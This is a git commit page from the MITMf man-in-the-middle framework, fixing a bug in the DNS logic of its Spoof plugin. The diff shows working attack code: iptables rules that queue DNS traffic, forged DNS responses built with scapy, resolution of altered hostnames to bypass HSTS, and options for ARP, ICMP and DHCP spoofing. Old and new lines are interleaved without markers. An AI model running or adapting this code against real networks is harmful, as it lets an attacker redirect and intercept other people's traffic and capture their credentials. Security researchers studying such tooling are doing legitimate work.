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https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
Fixed bug in DNS resolving logic
This commit is contained in:
byt3bl33d3r
parent
cd9a16de55
commit
c85fd2b5f3
3 changed files with 98 additions and 61 deletions
149
plugins/Spoof.py
149
plugins/Spoof.py
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@ -1,18 +1,19 @@
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from plugins.plugin import Plugin
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from time import sleep
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import dns.resolver
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from netfilterqueue import NetfilterQueue
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import logging
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logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
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from scapy.all import *
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import os
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import sys
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import threading
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from base64 import b64decode
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from urllib import unquote
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import binascii
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import random
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logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
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from scapy.all import *
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from netfilterqueue import NetfilterQueue
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from plugins.plugin import Plugin
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from time import sleep
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from base64 import b64decode
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from urllib import unquote
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class Spoof(Plugin):
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name = "Spoof"
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optname = "spoof"
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@ -87,17 +88,26 @@ class Spoof(Plugin):
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else:
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sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
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if (options.dns or options.hsts):
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if options.dns:
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if not options.manualiptables:
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self.sysconfig.iptables_dns()
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self.sysconfig.iptables_dns(0)
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self.dns = _DNS(self.dnscfg, self.hstscfg)
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self.dns.dns = options.dns
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self.dns.hsts = options.hsts
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self.dns = _DNS(0)
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self.dns.dnscfg = self.dnscfg
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self.dns.dns = True
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self.dns.start()
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if options.hsts:
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if not options.manualiptables:
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self.sysconfig.iptables_dns(1)
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self.dns_hsts = _DNS(1)
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self.dns_hsts.hstscfg = self.hstscfg
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self.dns_hsts.hsts = True
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self.dns_hsts.start()
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def add_options(self, options):
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group = options.add_mutually_exclusive_group(required=False)
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group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
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@ -130,9 +140,12 @@ class Spoof(Plugin):
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self.icmp.stop()
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sleep(3)
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if (self.options.dns or self.options.hsts):
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if self.options.dns:
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self.dns.stop()
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if self.options.hsts:
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self.dns_hsts.stop()
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if not self.manualiptables:
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self.sysconfig.iptables_flush()
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@ -155,8 +168,8 @@ class SystemConfig():
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def iptables_http(self):
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os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port)
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def iptables_dns(self):
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os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
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def iptables_dns(self, queue_number):
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os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
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class _DHCP():
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@ -361,11 +374,12 @@ class _ARP():
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class _DNS():
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def __init__(self, hstscfg, dnscfg):
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def __init__(self, queue_number):
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self.hsts = False
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self.dns = True
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self.dnscfg = hstscfg
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self.hstscfg = dnscfg
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self.dns = False
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self.dnscfg = None
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self.hstscfg = None
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self.queue_number = queue_number
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self.nfqueue = NetfilterQueue()
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def start(self):
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@ -374,7 +388,7 @@ class _DNS():
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t.start()
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def nfqueue_bind(self):
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self.nfqueue.bind(1, self.nfqueue_callback, 3)
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self.nfqueue.bind(self.queue_number, self.nfqueue_callback)
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self.nfqueue.run()
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def stop(self):
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@ -398,49 +412,68 @@ class _DNS():
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logging.info("Error resolving " + domain)
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def nfqueue_callback(self, payload):
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pkt = IP(payload.get_payload())
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if not pkt.haslayer(DNSQR):
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payload.accept()
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else:
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logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
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if self.dns:
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for k, v in self.dnscfg.items():
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if k in pkt[DNSQR].qname:
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self.modify_dns(payload, pkt, v)
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try:
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#logging.debug(payload)
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pkt = IP(payload.get_payload())
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elif self.hsts:
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if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
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for k,v in self.hstscfg.items():
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if v == pkt[DNSQR].qname[:-1]:
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ip = self.resolve_domain(k)
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if not pkt.haslayer(DNSQR):
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payload.accept()
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if pkt.haslayer(DNSQR):
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logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
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if self.dns:
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for k, v in self.dnscfg.items():
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if k in pkt[DNSQR].qname:
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self.modify_dns(payload, pkt, v)
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return
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payload.accept()
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elif self.hsts:
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if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
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for k,v in self.hstscfg.items():
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if v == pkt[DNSQR].qname[:-1]:
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ip = self.resolve_domain(k)
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if ip:
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self.modify_dns(payload, pkt, ip)
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return
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if 'wwww' in pkt[DNSQR].qname:
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ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
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if ip:
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self.modify_dns(payload, pkt, ip)
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return
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if 'wwww' in pkt[DNSQR].qname:
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ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
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if ip:
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self.modify_dns(payload, pkt, ip)
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if 'web' in pkt[DNSQR].qname:
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ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
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if ip:
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self.modify_dns(payload, pkt, ip)
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return
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if 'web' in pkt[DNSQR].qname:
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ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
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if ip:
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self.modify_dns(payload, pkt, ip)
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payload.accept()
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except Exception, e:
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print "Exception occurred in nfqueue callback: " + str(e)
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def modify_dns(self, payload, pkt, ip):
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spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
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UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
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DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
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try:
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spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
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UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
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DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
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if self.hsts:
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spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
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for i in ip:
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spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
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logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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payload.set_payload(str(spoofed_pkt))
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payload.accept()
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if self.hsts:
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spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
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for i in ip:
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spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
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logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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payload.set_payload(str(spoofed_pkt))
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payload.accept()
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if self.dns:
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spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
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logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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payload.set_payload(str(spoofed_pkt))
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payload.accept()
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if self.dns:
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spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
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logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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payload.set_payload(str(spoofed_pkt))
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payload.accept()
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except Exception, e:
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print "Exception occurred while modifying DNS: " + str(e)
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